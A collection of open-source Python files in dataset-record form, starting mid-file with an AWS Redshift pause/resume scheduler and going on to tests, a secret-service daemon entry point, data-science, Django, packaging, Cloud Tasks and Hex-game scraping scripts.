self.logger.info(\"Scheduled {0} to resume on {1} UTC\".format(self.REDSHIFT_CLUSTER_ID, resume_ts_utc.strftime(\"%Y-%m-%dT%H:%M:%S\")))\n else:\n self.logger.info(\"No scheduled resume on {0}\".format(self.REDSHIFT_CLUSTER_ID))\n self.disable_scheduled_event(event_name=self.RESUME_REDSHIFT_EVENT_NAME)\n self.logger.info(\"Event: {0} DISABLED\".format(self.RESUME_REDSHIFT_EVENT_NAME))\n \n def schedule_pause(self, forecasts = []):\n \"\"\"Schedule when to pause the redshift cluster with the forecasts passed. Depends on resume redshift schedule variables \n \n Keyword Arguments:\n forecasts {list} -- results from a get_forecast_values api call in a csv file via forecast export job to s3 bucket (default: {[]})\n \"\"\"\n for i in range(1, len(forecasts)):\n item = forecasts[i].decode(\"utf-8\").split(\",\") # convert from bytes to unicode, list objects: item[0] : item id; item[1] : timestamp; item[2] : mean cpu utilisation\n item_ts_local = dt.datetime.strptime(item[1], \"%Y-%m-%dT%H:%M:%SZ\") # timestamp from forecast\n item_ts_local = item_ts_local.replace(tzinfo=tz.gettz(self.TIMEZONE)) # add timezone to timestamp\n item_ts_utc = item_ts_local.astimezone(tz.gettz(\"UTC\")) # convert time to UTC, use this to schedule\n ts_diff_utc = item_ts_utc - self.current_ts_utc # schedule event after current timestamp\n\n if float(item[2]) < self.THRESHOLD and self.pause_scheduled == False and ts_diff_utc.total_seconds() >= 0:\n ts_diff_utc = item_ts_utc - self.resume_ts_utc + dt.timedelta(hours = 2) # schedule event after two hours of resuming redshift\n \n if self.resume_scheduled == True and ts_diff_utc.total_seconds() >= 0: # assign when resume is scheduled and let redshift be resumed for at least 2 hours\n pause_ts_utc = item_ts_utc + dt.timedelta(minutes = 30) # pause reshift later\n self.pause_scheduled = True\n \n elif self.resume_scheduled == False: # assign when resume is not scheduled. i.e., cluster was resumed manually\n pause_ts_utc = item_ts_utc + dt.timedelta(minutes = 30) # pause reshift later\n self.pause_scheduled = True\n \n if self.pause_scheduled:\n self.schedule_event(event_name=self.PAUSE_REDSHIFT_EVENT_NAME, target_arn=self.PAUSE_LAMBDA_ARN, event_role_arn=self.CLOUDWATCH_EVENT_ROLE_ARN, minute=pause_ts_utc.minute, hour=pause_ts_utc.hour) \n self.logger.info(\"Scheduled {0} to pause on {1} UTC\".format(self.REDSHIFT_CLUSTER_ID, pause_ts_utc.strftime(\"%Y-%m-%dT%H:%M:%S\")))\n else:\n self.logger.info(\"No scheduled pause on {0}\".format(self.REDSHIFT_CLUSTER_ID))\n self.disable_scheduled_event(event_name=self.PAUSE_REDSHIFT_EVENT_NAME)\n self.logger.info(\"Event: {0} DISABLED\".format(self.PAUSE_REDSHIFT_EVENT_NAME))\n \n \n def get_forecast_values(self, bucket_name = \"\"):\n \"\"\"Retrieves the forecast values of an item using the specified forecast job with the query_forecast api\n \n Keyword Arguments:\n bucket_name {str} -- bucket name (default: {\"\"})\n \n Returns:\n string -- \n \"\"\"\n bucket_objects = self.s3_client.list_objects(Bucket=bucket_name)[\"Contents\"]\n for i in range(0, len(bucket_objects)): \n if self.FORECAST_EXPORT_NAME in bucket_objects[i][\"Key\"]:\n object_name = bucket_objects[i][\"Key\"]\n \n response = self.s3_client.get_object(Bucket=bucket_name, Key=object_name)[\"Body\"].read().split()\n return response \n \n # def get_forecast_values(self, forcast_arn = \"\", item_filter_value = \"\"):\n # \"\"\"Retrieves the forecast values of an item using the specified forecast job with the query_forecast api\n \n # Keyword Arguments:\n # forcast_arn {str} -- forecast arn (default: {\"\"})\n # item_filter_value {str} -- item filter (default: {\"\"})\n \n # Returns:\n # dict -- Resulting query forecast result\n # \"\"\"\n # response = self.forecast_query_client.query_forecast(\n # ForecastArn = forcast_arn,\n # Filters = {\n # \"item_id\": item_filter_value\n # }\n # ) \n \n # return response \n \n def schedule_event(self, event_name = \"\", target_arn = \"\", event_role_arn = \"\" , event_description = \"\", minute = 0, hour = 0):\n \"\"\"Schedule a Cloudwatch event sometime within a day\n \n Keyword Arguments:\n event_name {str} -- name of Cloudwatch event (default: {\"\"})\n target_arn {str} -- arn of resource to attach Cloudwatch event to (default: {\"\"})\n event_role_arn {str} -- role arn to attach to the Cloudwatch event (default: {\"\"})\n event_description {str} -- Cloudwatch event description (default: {\"\"})\n minute {int} -- Minute value of the schedule e.g., a schedule at 20:05 has minute=5 (default: {0})\n hour {int} -- Minute value of the schedule e.g., a schedule at 20:05 has hour=20 (default: {0})\n \"\"\"\n self.events_client.put_rule(\n Name=event_name,\n ScheduleExpression=\"cron({0} {1} * * ? *)\".format(minute, hour),\n State=\"ENABLED\",\n Description=event_description,\n RoleArn=event_role_arn\n )\n \n self.events_client.put_targets(\n Rule=event_name,\n Targets=[{\n \"Id\": event_name,\n \"Arn\": target_arn\n }]\n ) \n \n def disable_scheduled_event(self, event_name = \"\"):\n \"\"\"Disable a scheduled Cloudwatch event\n \n Keyword Arguments:\n event_name {string} -- Cloudwatch event name to disable (default: {\"\"})\n \"\"\"\n self.events_client.disable_rule(Name=event_name)\n \ndef handler(event, context):\n # instantiate class\n scheduleRedshift = ScheduleRedshift(context)\n # run function\n scheduleRedshift.schedule_redshift()","repo_name":"servian/aws-redshift-smart-pause-and-resume","sub_path":"auto_forecast/schedule_redshift.py","file_name":"schedule_redshift.py","file_ext":"py","file_size_in_byte":9940,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"74479544225","text":"import pytest\n\nimport ceryle.commands.builtin as builtin\nfrom ceryle import Command, Executable, ExecutionResult\n\n\ndef test_execute_all_raises():\n with pytest.raises(TypeError):\n builtin.execute_all(Command('do some'), 'not an executable')\n\n with pytest.raises(ValueError, match=r'one or more executables are required'):\n builtin.execute_all()\n\n\ndef test_execute_all_str(mocker):\n cmd1 = Command('test 1')\n cmd2 = Command('test 2')\n exec_all = builtin.execute_all(cmd1, cmd2)\n assert str(exec_all) == f'all({cmd1}, {cmd2})'\n\n\ndef test_execute_all(mocker):\n mock = mocker.Mock()\n\n cmd1 = Command('test 1')\n mocker.patch.object(cmd1, 'execute', return_value=ExecutionResult(0))\n mock.attach_mock(cmd1.execute, 'cmd1_execute')\n\n cmd2 = Command('test 2')\n mocker.patch.object(cmd2, 'execute', return_value=ExecutionResult(0))\n mock.attach_mock(cmd2.execute, 'cmd2_execute')\n\n exec_all = builtin.execute_all(cmd1, cmd2)\n assert isinstance(exec_all, Executable) is True\n\n res = exec_all.execute(context='context', inputs=['a'])\n assert isinstance(res, ExecutionResult)\n assert res.return_code == 0\n assert mock.mock_calls == [\n mocker.call.cmd1_execute(context='context', inputs=['a']),\n mocker.call.cmd2_execute(context='context', inputs=['a']),\n ]\n\n\ndef test_execute_all_fails(mocker):\n mock = mocker.Mock()\n\n cmd1 = Command('test 1')\n mocker.patch.object(cmd1, 'execute', return_value=ExecutionResult(1))\n mock.attach_mock(cmd1.execute, 'cmd1_execute')\n\n cmd2 = Command('test 2')\n mocker.patch.object(cmd2, 'execute', return_value=ExecutionResult(0))\n mock.attach_mock(cmd2.execute, 'cmd2_execute')\n\n exec_all = builtin.execute_all(cmd1, cmd2)\n assert isinstance(exec_all, Executable) is True\n\n res = exec_all.execute(context='context', inputs=['a'])\n assert isinstance(res, ExecutionResult)\n assert res.return_code == 1\n assert mock.mock_calls == [\n mocker.call.cmd1_execute(context='context', inputs=['a']),\n ]\n\n\n@pytest.mark.parametrize(\n 'conditions, eq_zero', [\n ([True], True),\n ([True, True], True),\n ([False], False),\n ([False, True], False),\n ([True, False], False),\n ])\ndef test_execute_all_only_bools(conditions, eq_zero):\n exec_all = builtin.execute_all(*conditions)\n\n res = exec_all.execute(context='context')\n assert isinstance(res, ExecutionResult)\n assert (res.return_code == 0) is eq_zero\n\n\n@pytest.mark.parametrize(\n 'b, eq_zero', [\n (True, True),\n (False, False),\n ])\ndef test_execute_all_with_bools(mocker, b, eq_zero):\n cmd1 = Command('test 1')\n mocker.patch.object(cmd1, 'execute', return_value=ExecutionResult(0))\n\n exec_all = builtin.execute_all(cmd1, b)\n\n res = exec_all.execute(context='context')\n assert isinstance(res, ExecutionResult)\n assert (res.return_code == 0) is eq_zero\n cmd1.execute.assert_called_once()\n","repo_name":"kikuchi-m/ceryle","sub_path":"tests/commands/test_builtin_execute_all.py","file_name":"test_builtin_execute_all.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"32672981360","text":"import argparse\nimport dbus\nimport dbus.mainloop.glib\nfrom gi.repository import GLib\nimport logging\nimport logging.handlers\nimport os\nimport sys\nimport xdg.BaseDirectory\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-d\", \"--db-path\", metavar=\"PATH\",\n help=\"specify the path to secrets.db\")\nparser.add_argument(\"-k\", \"--key-location\", metavar=\"TYPE:PATH\",\n help=\"specify the master key location\")\nparser.add_argument(\"-F\", \"--no-syslog\", action=\"store_true\",\n help=\"log to stderr rather than syslog\")\nparser.add_argument(\"-v\", \"--verbose\", action=\"store_true\",\n help=\"enable detailed logging\")\nargs = parser.parse_args()\n\n# Set up logging\n\nlog_level = [logging.INFO, logging.DEBUG][args.verbose]\nif not (args.no_syslog or sys.stderr.isatty()):\n log_handler = logging.handlers.SysLogHandler(address=\"/dev/log\")\n log_format = \"secretsd: %(message)s\"\nelse:\n log_handler = logging.StreamHandler()\n log_format = \"%(message)s\"\n\nlogging.basicConfig(handlers=[log_handler],\n level=log_level,\n format=log_format)\n\n# Determine file locations\n\ndefault_dir = xdg.BaseDirectory.save_data_path(\"nullroute.eu.org/secretsd\")\nif not os.path.exists(default_dir):\n default_dir = xdg.BaseDirectory.save_data_path(\"nullroute.lt/secretsd\")\n\nif not args.db_path:\n args.db_path = os.environ.get(\"SECRETSD_DIR\")\nif not args.db_path:\n args.db_path = os.path.join(default_dir, \"secrets.db\")\n\nos.environ[\"SECRETSD_DIR\"] = os.path.dirname(args.db_path)\n\nif not args.key_location:\n args.key_location = os.environ.get(\"SECRETSD_KEY\")\nif not args.key_location:\n args.key_location = \"file:${SECRETSD_DIR}/secrets.key\"\n\n# Set up other environment\n\nos.umask(0o077)\nos.chdir(os.path.dirname(args.db_path))\n\nif sys.platform == \"linux\":\n try:\n import prctl\n except ImportError:\n logging.debug(\"failed to import prctl; core dumps remain enabled\")\n else:\n logging.debug(\"using prctl.set_dumpable() to disable core dumps\")\n prctl.set_dumpable(False)\n\n# Import components after logging is set up\n\nfrom .database import SecretsDatabase\nfrom .service import SecretService\n\ndbus.mainloop.glib.DBusGMainLoop(set_as_default=True)\nbus = dbus.SessionBus()\nsdb = SecretsDatabase(args.db_path, args.key_location)\nsvc = SecretService(bus, sdb)\n\nlogging.debug(\"starting main loop\")\n\nloop = GLib.MainLoop()\nloop.run()\n","repo_name":"grawity/secretsd","sub_path":"secretsd/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"70"} +{"seq_id":"31335440736","text":"# **********************************\n# Build sketches per cancer type.\n# **********************************\nimport numpy as np\nimport pandas as pd\nfrom fbpca import pca\nfrom geosketch import gs\nimport os\n\n# sketch size\nsk_sz = 0.2\n\n# more robust file paths\ncurrdir = os.path.dirname(__file__)\nif \"src\" in currdir:\n currdir = currdir + \"/\"\n\n# read in input matrix\nmatAll = pd.read_csv(currdir + \"../data/test-normalized-matrix.txt\")\ncans = set(matAll.loc[matAll[\"type\"] == \"cancer\", \"tissue.cancer\"].tolist())\n\n# make relevant directory structure\nif not os.path.exists(currdir + \"../results\"):\n os.makedirs(currdir + \"../results\")\n\nif not os.path.exists(currdir + \"../results/sketches\"):\n os.makedirs(currdir + \"../results/sketches\")\n\n# iterate through the cancer types to make sketches\nfor can in cans:\n print(can)\n\n #subset and label\n mat = matAll.loc[(matAll[\"tissue.cancer\"] == can),]\n mat = mat.append(matAll.loc[(matAll[\"type\"] == \"tissue\"),])\n mat[\"cluster\"] = 2\n mat.loc[mat['tissue.cancer'] == can, \"cluster\"] = 1\n N_samples = len(mat[\"tissue.cancer\"])\n\n # remove unnecessary fields\n matt = mat.copy()\n matt.drop(\"batch\", axis=1, inplace=True)\n matt.drop(\"type\", axis=1, inplace=True)\n matt.drop(\"cluster\", axis=1, inplace=True)\n matt.drop(\"tissue.cancer\", axis=1, inplace=True)\n matt.set_index('dataset', inplace=True)\n mattm = matt.values\n\n # compute the PCs - necessary input for the sketching\n U, s, Vt = pca(mattm, k=100)\n X_dimred = U[:, :100] * s[:100]\n\n # sketch\n N = int(N_samples * sk_sz) # Number of samples to obtain from the dataset\n sketch_index = gs(X_dimred, N, replace=False)\n X_sketch = X_dimred[sketch_index]\n\n # get the samples selected in the sketch and output\n reduced = pd.DataFrame(X_sketch)\n pca_out = pd.DataFrame(X_dimred)\n pca_out[\"dataset\"] = list(matt.index)\n red_with_labs = pd.merge(pca_out, reduced, how=\"inner\", on=list(reduced.columns.values))\n selected = list(red_with_labs[\"dataset\"])\n\n out = open(currdir + \"../results/sketches/\" + can.lower().replace(\" \", \"-\") + \"-sketch.txt\", \"w\")\n for elm in selected:\n out.write(elm + \"\\n\")\n out.close()\n","repo_name":"ruthanium/antigen-combos-scripts","sub_path":"src/CreateSketches.py","file_name":"CreateSketches.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"74027744866","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render, redirect\nfrom .forms import *\nfrom .models import * \n\ndef create_student(request):\n if request.method == 'POST':\n form = StudentForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('student_list')\n else:\n form = StudentForm()\n return render(request, 'students/create_student.html', {'form': form})\n\ndef student_list(request):\n students = Student.objects.all()\n return render(request, 'students/student_list.html', {'students': students})\n\n\ndef add_subject(request):\n if request.method == 'POST':\n form = SubjectForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('create_student')\n else:\n form = SubjectForm()\n return render(request, 'students/add_subject.html', {'form': form})","repo_name":"geekgupta/metagrow","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"45251566553","text":"class Solution:\n def longestCommonPrefix(self, strs):\n # Runtime: 36 ms, faster than 99.82% of Python3 online submissions for Longest Common Prefix.\n output = []\n\n for chars in zip(*strs):\n if len(set(chars)) == 1:\n output.append(chars[0])\n else:\n break\n return \"\".join(output)\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n print(solution.longestCommonPrefix([\"abc\", \"abd\", \"abe\"]))\n","repo_name":"rattlesnailrick/leetcode","sub_path":"src/task_14.py","file_name":"task_14.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"36118459715","text":"import os\n\nfrom pydistman import DistManager\n\n\nclass Derived(DistManager):\n def _bin_slurp(self, fn):\n with open(fn, \"rb\") as ifh:\n ret = ifh.read()\n return ret\n\n def _bin_fmt_slurp(self, fn_proto):\n return self._bin_slurp(self._myformat(fn_proto))\n\n def _bin_write(self, to_proto, from_, make_exe=False):\n to = self._myformat(to_proto)\n os.makedirs(os.path.dirname(to), exist_ok=True)\n with open(to, \"wb\") as ofh:\n ofh.write(self._bin_fmt_slurp(from_))\n if make_exe:\n os.chmod(to, 0o755)\n\n def _bin_dest_write(self, bn_proto, make_exe=False):\n return self._bin_write(\n \"{dest_dir}/\"+bn_proto,\n \"{src_dir}/\"+bn_proto,\n make_exe\n )\n\n def _build_only_command_custom_steps(self):\n self._dest_append(\"rebookmaker/rebookmaker\", make_exe=True)\n globs = [[ext, \"data/templates/*.{}\".format(ext)] for\n ext in ['jinja', 'png', 'xcf', ]]\n for fn in [\"{dest_dir}/rebookmaker/__main__.py\", ]:\n os.unlink(self._myformat(fn))\n for fn in [\"{dest_dir}/setup.py\", ]:\n self._re_mutate(\n fn_proto=fn,\n pattern=\"include_package_data=True,\",\n repl_fn_proto=None,\n prefix=\"include_package_data=True,\\n \" +\n \"package_data={'': [\" +\n (\",\".join([\"'\" + x[1] + \"'\" for x in globs])) +\n \"],},\" +\n \"\\n scripts=['rebookmaker/rebookmaker'],\",\n )\n self._re_mutate(\n fn_proto=fn,\n pattern=\"entry_points=\\\\{[^\\\\}]*\\\\},\",\n repl_fn_proto=None,\n prefix=\"\",\n )\n self._dest_append(\"MANIFEST.in\")\n for g in globs:\n for fn in self._src_glob(\"rebookmaker/\" + g[1]):\n if g[0] == 'jinja':\n self._dest_append(fn)\n else:\n self._bin_dest_write(fn)\n\n\ndist_name = \"rebookmaker\"\n\nobj = Derived(\n dist_name=dist_name,\n dist_version=\"0.8.10\",\n project_name=\"rebookmaker\",\n project_short_description=\"EPUB generator\",\n release_date=\"2023-06-19\",\n project_year=\"2020\",\n aur_email=\"shlomif@cpan.org\",\n project_email=\"shlomif@cpan.org\",\n full_name=\"Shlomi Fish\",\n github_username=\"shlomif\",\n)\nobj.cli_run()\n","repo_name":"shlomif/rebookmaker","sub_path":"epub_maker/python_pypi_dist_manager.py","file_name":"python_pypi_dist_manager.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"41773192113","text":"from google.cloud import tasks_v2\nfrom google.protobuf import timestamp_pb2\n\n\ndef create_task(queue_path, schedule_dt, url,\n service_account_email=None, audience=None):\n \"\"\"Create Google Task (HTTP Target).\n\n Params:\n - queue_path: full GoogleTasks queue name.\n - schedule_dt: datetime in the future when it should be executed.\n - url: url that will be requested with GET method.\n \"\"\"\n # Create a client.\n client = tasks_v2.CloudTasksClient()\n\n timestamp = timestamp_pb2.Timestamp()\n timestamp.FromDatetime(schedule_dt)\n\n # Construct the request body.\n task = {\n 'http_request': { # Specify the type of request.\n 'http_method': tasks_v2.HttpMethod.POST,\n 'url': url, # The full url path that the task will be sent to.\n },\n 'schedule_time': timestamp,\n }\n\n if service_account_email and audience:\n task['http_request']['oidc_token'] = {\n 'service_account_email': service_account_email,\n 'audience': audience\n }\n\n # Use the client to build and send the task.\n response = client.create_task(\n request={\n 'parent': queue_path,\n 'task': task\n }\n )\n\n return response\n\n\ndef delete_task(task_path):\n \"\"\"Delete a task from Google Tasks.\n\n Params:\n - task_path - full task name, e.g. projects//locations//queues//tasks/\n \"\"\"\n # Create a client\n client = tasks_v2.CloudTasksClient()\n # Initialize request argument(s)\n request = tasks_v2.DeleteTaskRequest(\n name=task_path,\n )\n # Make the request\n client.delete_task(request=request)\n","repo_name":"GoogleCloudPlatform/database-migration-wave-orchestrator","sub_path":"backend/bms_app/services/gcloud_tasks.py","file_name":"gcloud_tasks.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"70"} +{"seq_id":"31607308204","text":"# Tasks\n# x Parse current data\n# x Get list of games\n# x Get list of players\n# x Read \"top player list\" and \"good player list\"\n# x For each player in the \"top player list\"\n# x Get list of games\n# x Filter to games that are between players in the \"top player list\" and players that are either: \n# x in the \"top player list\"\n# - in the \"good player list\"\n# x over 1900 rating\n# x Add to games list\n# x Download NEW games from game list \n# x Parse downloaded games\n# x Write out new games to DB\n\n\nimport urllib.request\nimport time\nimport re\n\n\nclass Result:\n FINISHED = object()\n IN_PROGRESS = object()\n TIMEOUT = object()\n \nMIN_MOVES = 5\n#GAME_NUM_MIN = 2055156 \nGAME_NUM_MIN = 1000000\n\ndef constructUrl(gamesList):\n gids = [\"gid=\" + str(game) for game in gamesList]\n return \"http://www.littlegolem.net/jsp/game/png.jsp?\" + \"&\".join(gids)\n\n \n\n\n\n#\n# Game parsing\n#\n\ndef findElementRe(elem):\n reString = \"{0}\\[(.*?)\\]\".format(elem) #Elements have the format of some string followed by data in square brackets eg \"PB[bob]\" to specify the black player\n return re.compile(reString)\n\ndef findMoveRe():\n reString = \";[B|W]\\[(.*?)\\]\" #Moves are always \";B[aa]\" or \";W[aa]\", where \"aa\" is the move\n return re.compile(reString)\n\ndef convertMove(move):\n if move == \"swap\":\n return \".s\"\n elif move == \"resign\":\n return \"\"\n else:\n return move.upper()\n\ndef parseGameText(text):\n playerBlack = findElementRe(\"PB\").search(text).group(1)\n playerWhite = findElementRe(\"PW\").search(text).group(1)\n size = findElementRe(\"SZ\").search(text).group(1)\n gameNumberString = findElementRe(\"GC\").search(text).group(1)\n winnerMatch = findElementRe(\"RE\").search(text)\n\n result = \"\"\n if winnerMatch == None:\n winnerBlack = \"in progress\"\n result = Result.IN_PROGRESS\n else:\n winner = winnerMatch.group(1)\n winnerBlack = \"true\" if winner == \"B\" else \"false\"\n result = Result.FINISHED\n\n gameNumber = re.search(\"game #([0-9]*)\", gameNumberString).group(1)\n\n gameMoves = findMoveRe().findall(text)\n\n if gameMoves[-1] != \"resign\" and result == Result.FINISHED:\n result = Result.TIMEOUT #replace result with an enum\n\n gameMoveData = \"\".join([convertMove(m) for m in gameMoves])\n\n sizeSuffix = \"\"\n if size != \"13\":\n sizeSuffix = size\n\n parsed = 'games{5}.push({{data: \"{0}\", win_b: {1}, game: \"{2}\", white: \"{3}\", black: \"{4}\"}});'.format(gameMoveData, winnerBlack, gameNumber, playerWhite, playerBlack, sizeSuffix)\n \n return result, parsed, size, gameNumber\n\ndef parseResponse(data, size):\n findGamesRe = re.compile(\"\\(;(.*?)\\)\\n\") #input format is (; ... ) for each game, this finds these.\n\n gamesText = findGamesRe.findall(data)\n \n outputFinished = \"\"\n outputTimeout = \"\"\n outputInProgress = \"\"\n for game in gamesText:\n result, parsed, gameSize, gameNumber = parseGameText(game)\n if int(gameSize) == size:\n if result == Result.FINISHED:\n outputFinished += parsed + \"\\n\"\n elif result == Result.TIMEOUT:\n outputTimeout += parsed + \"\\n\"\n elif result == Result.IN_PROGRESS:\n outputInProgress += parsed + \"\\n\"\n print(\"{0},{1}\".format(size, gameNumber))\n \n \n return outputFinished, outputTimeout, outputInProgress\n \n\n\n\n\n#\n#database reading\n#\n\ndef findDbGameRows(tableString):\n findRow = re.compile(\"games(?:11|15|19|).push\\((.*?)\\);\")\n \n rows = findRow.findall(tableString)\n \n return rows\n\ndef findPlayers(gameString):\n findPlayer = re.compile('(black|white): \"(.*?)\"')\n \n players = [found[1] for found in findPlayer.findall(gameString)]\n \n return \",\".join(players)\n\ndef findGameNumber(gameString):\n findGame = re.compile('game: \"(.*?)\"')\n \n game = findGame.search(gameString)\n \n return game.group(1)\n\ndef findDbGameRows(tableString):\n findRow = re.compile(\"games(?:11|15|19|).push\\((.*?)\\);\")\n \n rows = findRow.findall(tableString)\n \n return rows\n\ndef addPlayers(gameString, playerSet):\n findPlayer = re.compile('(black|white): \"(.*?)\"')\n \n players = [found[1] for found in findPlayer.findall(gameString)]\n playerSet |= set(players)\n \n \ndef addGameNumber(gameString, gamesSet):\n findGame = re.compile('game: \"(.*?)\"')\n \n game = findGame.search(gameString)\n \n if game != None:\n gamesSet.add(int(game.group(1)))\n\n\ndef readDb(file):\n players = set()\n games = set()\n\n f = open(file, \"r\")\n data = f.read()\n f.close()\n #print \"\\nGame:\\n\".join(findDbGameRows(data))\n\n\n for game in findDbGameRows(data):\n addPlayers(game, players)\n addGameNumber(game, games)\n \n #print \"\\n\".join(players)\n #print games\n \n return players, games\n\n#\n# player list reading\n#\ndef readPlayerList(file):\n f = open(file, \"r\")\n data = f.read()\n f.close()\n \n #RE: match the player id, then the colon, then discard any whitespace, then read to the end of the line:\n findPlayer = re.compile(\"([0-9]+?):(?:\\s*)(.*)\")\n \n players = findPlayer.findall(data)\n \n playerNames = set([player[1] for player in players])\n playerIds = set([player[0] for player in players])\n \n return playerNames, playerIds\n\n\n#\n# Read player game list\n#\ndef constructGameListUrl(playerId):\n #url: http://www.littlegolem.net/jsp/info/player_game_list.jsp?gtid=hex&plid=8452\n return \"http://www.littlegolem.net/jsp/info/player_game_list.jsp?gtid=hex&plid={0}\".format(playerId)\n\ndef findGameTable(data):\n findTable = re.compile(\"(.*?)
\", re.DOTALL)\n \n findTableMatch = findTable.search(data)\n \n if findTableMatch == None:\n print(\"Table not found\")\n return \"Nothing found\"\n else:\n return findTableMatch.group(1)\n\n\ndef findGameRows(tableString):\n findRow = re.compile(\"(.*?)\", re.DOTALL)\n \n rows = findRow.findall(tableString)\n \n print(\"{0} rows found\".format(len(rows)))\n\n return rows[1:] #first row is headers, discard it\n\ndef findGame(rowString):\n findGame = re.compile('')\n gameInfo = findGame.search(rowString)\n gameNum = 0\n if gameInfo != None:\n gameNum = int(gameInfo.group(1))\n\n findPlayer = re.compile(\"(.*?) \")\n playerInfo = findPlayer.search(rowString)\n playerString = \"\"\n if playerInfo == None:\n playerString = \"(none)\"\n else:\n playerString = playerInfo.group(1)\n \n findRating = re.compile(\"([0-9]*?) \")\n ratingInfo = findRating.search(rowString)\n rating = 0\n if ratingInfo != None:\n rating = int(ratingInfo.group(1))\n\n findMoves = re.compile(\"([0-9]*?) \")\n movesInfo = findMoves.search(rowString)\n moves = 0\n if movesInfo != None:\n moves = int(movesInfo.group(1))\n \n findResult = re.compile('(.*?) ')\n resultInfo = findResult.search(rowString)\n resultString = \"\"\n if resultInfo == None:\n resultString = \"(none)\"\n else:\n resultString = resultInfo.group(1)\n\n #print \"{} {} {} {} {}\".format(gameNum, playerString, rating, resultString, moves)\n \n return gameNum, playerString, rating, resultString, moves\n\ndef filterGame(num, rating, player, result, moves, playerNames):\n if num < GAME_NUM_MIN:\n return False\n\n #never return unfinished games\n if result == \"(none)\":\n return False\n\n #games with few moves are to be rejected\n if moves < MIN_MOVES:\n return False\n\n #these players are good enough\n if rating >= 1900:\n return True\n\n #if they're in the list they're also good enough:\n if player in playerNames:\n return True\n \n #todo: check against good player list\n \n return False\n\ndef getPlayerGameList(playerId, playerNames):\n url = constructGameListUrl(playerId)\n print(url)\n \n response = urllib.request.urlopen(url)\n data = response.read().decode('utf-8')\n \n games = [findGame(gameRow) for gameRow in findGameRows(findGameTable(data))]\n \n #game format is (num, player, rating, result)\n gamesFiltered = [game for game in games if filterGame(game[0], game[2], game[1], game[3], game[4], playerNames)]\n \n return gamesFiltered\n \n\n\n#\n# Collecting and download games:\n#\n\ndef collectAllGamesToDl(topPlayersFile, dbFile):\n dbPlayers, dbGames = readDb(dbFile)\n \n topPlayerNames, topPlayerIds = readPlayerList(topPlayersFile)\n \n newGames = set()\n \n earlyBreak = 0 #0 = no early break\n for playerId, playerName in zip(topPlayerIds, topPlayerNames):\n print(\"Waiting 1 second...\")\n time.sleep(1)\n \n print(playerName)\n gameList = getPlayerGameList(playerId, topPlayerNames)\n print(\"{0} games found\".format(len(gameList)))\n for gameEntry in gameList:\n newGames.add(gameEntry[0]) #first part is the game number\n \n earlyBreak -= 1\n if earlyBreak == 0:\n break\n \n newGames -= dbGames\n \n print(\"New games ({0}):\".format(len(newGames)))\n return list(newGames)\n \ndef downloadGameList(games, size):\n #only download groups of 100 games at a time\n maxDownload = 100\n listFinished = \"\"\n listTimeout = \"\"\n listInProgress = \"\"\n for i in range(0, len(games), maxDownload):\n print(\"Waiting 1 second...\")\n time.sleep(1)\n url = constructUrl(games[i:i + maxDownload])\n print(url)\n response = urllib.request.urlopen(url)\n data = response.read().decode('utf-8')\n outputFinished, outputTimeout, outputInProgress = parseResponse(data, size)\n listFinished += outputFinished\n listTimeout += outputTimeout\n listInProgress += outputInProgress\n \n return listFinished, listTimeout, listInProgress\n\ndef writeDataToFile(data, file):\n f = open(file, 'w')\n f.write(data)\n f.close()\n\n#downloads all games from players in the topPlayersFile that aren't currently in dbFile.\n#results are divided into three categories, each of which is output to a different file.\n#New, finished games are output to the outputFinishedFile\n#New, timed out games (a player lost due to timeout rather than resignation) are outout to outputTimeoutFile\n#New games that are still in progress are output to outputInProgressFile\ndef collectAndDownloadGameList(topPlayersFile, size, dbFile, outputFinishedFile, outputTimeoutFile, outputInProgressFile):\n outputFinished, outputTimeout, outputInProgress = downloadGameList(collectAllGamesToDl(topPlayersFile, dbFile), size)\n writeDataToFile(outputFinished, outputFinishedFile)\n writeDataToFile(outputTimeout, outputTimeoutFile)\n writeDataToFile(outputInProgress, outputInProgressFile)\n\nprint(\"DOUBLE CHECK THAT DB PARSING IS WORKING, THEN REMOVE THIS MESSAGE\")\ncollectAndDownloadGameList(\"top_players.txt\", 11, \"game_data11.js\", \"new_game_data11.js\", \"timeout_game_data11.js\", \"in_progress_game_data11.js\")\ncollectAndDownloadGameList(\"top_players.txt\", 13, \"game_data.js\", \"new_game_data.js\", \"timeout_game_data.js\", \"in_progress_game_data.js\")\ncollectAndDownloadGameList(\"top_players.txt\", 15, \"game_data15.js\", \"new_game_data15.js\", \"timeout_game_data15.js\", \"in_progress_game_data15.js\")\ncollectAndDownloadGameList(\"top_players.txt\", 19, \"game_data19.js\", \"new_game_data19.js\", \"timeout_game_data19.js\", \"in_progress_game_data19.js\")\nprint(\"DOUBLE CHECK THAT DB PARSING IS WORKING, THEN REMOVE THIS MESSAGE\")\n\n \n\n#games = [1872777, 1880699, 945815, 1678966]\n\n#response = urllib2.urlopen(constructUrl(games))#'http://www.littlegolem.net/jsp/game/png.jsp?gid=1872777&gid=1880699')\n#data = response.read()\n#parseResponse(data)\n\n#readDb(\"game_data.js\")\n#topPlayerNames, topPlayerIds = readPlayerList(\"top_players.txt\")\n#print topPlayerNames\n#$print topPlayerIds\n\n#todo: read good player list and add to topPlayerNames when calling getPlayerGameList\n#gl = 